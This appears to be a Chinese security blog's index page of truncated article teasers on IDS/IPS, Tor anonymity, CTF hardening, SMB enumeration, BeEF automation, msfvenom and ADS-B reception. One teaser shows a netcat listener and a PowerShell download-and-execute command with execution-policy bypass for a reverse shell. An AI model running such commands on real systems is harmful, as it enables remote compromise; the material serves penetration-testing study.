一.什么是IDS和IPSIDS（Intrusion Detection Systems）： 入侵检测系统，是一种网络安全设备或应用软件，可以依照一定的安全策略，对网络、系统的运行状况进行监视，尽可能发现各种攻击企图、攻击行为或者攻击结果，并发出安全警...

整个系统应用TOR匿名，Anonsurf在后台运行并不断更改IP地址。 注意，国内环境下前提是你的kali能够翻&墙 安装配置tor1apt-get install tor 去bridges.torproject.org获取bridge...

一. 前言　　随着CTF的普及，比赛的形式也有了越来越多的花样，对于线下赛来说，开始出现了安全加固或者防御战之类的环节，亦或者因为拿下靶机后不希望其他攻击者进入而进行“争夺”，无论什么形式，这些都需要我们对于服务器的防护工作有所了解。对于线下赛，笔者...

简介Enum4linux是一个用于枚举Windows和Linux系统上SMB共享的工具，是Windows上 enum.exe的替代方法。它可以枚举Windows Samba主机快速从目标SMB提取信息。如果目标端口139和445开启，说明SMB服务正...

Invoke-PowerShellTcp.ps1监听：nc -nv -l -p 9999 目标执行： 1powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).Down...

利用BeEF REST API自动化控制僵尸主机 一. 前言 　　关于BeEF，不再多介绍，它的强大毋庸置疑，利用它我们可以做很多事情。最近的一些实验，需要用beef批量自动进行控制，发现网上也没有过多关于这方面内容的介绍，于是学习了一下它的API，...

前言　　流量清洗是指在全部的网络流量中区分出正常流量和恶意流量，将恶意流量阻断和丢弃，而只将正常的流量交付给服务器。与其他的网络安全检测和防护手段类似，流量清洗也需要考虑漏报率和误报率的问题。通常，漏报率和误报率是一对矛盾，需要通过对检测和防护规则的...

本文首发Freebuf，属原创奖励计划，未经许可禁止转载。 链接：http://www.freebuf.com/articles/system/132274.html 一. 前言　　前段时间Shadow Broker披露了 Windows大量漏洞，甚...

msfvenom重要参数查看payloads: msfvenom -l payloads 查看支持的文件格式：msfvenom -l formats查看payload所需参数：msfvenom -p xxx --list-options查看...

环境kali rolling 状态：未升级发行版，仅用 “apt-get upgrade “ 命令更新了软件 原料 RTL-SDR电视棒一个，芯片是RTL2832U 原理飞机飞行期间，机载ADS-B通信设备会发出ADS-B信息（主要包含经度、纬度、...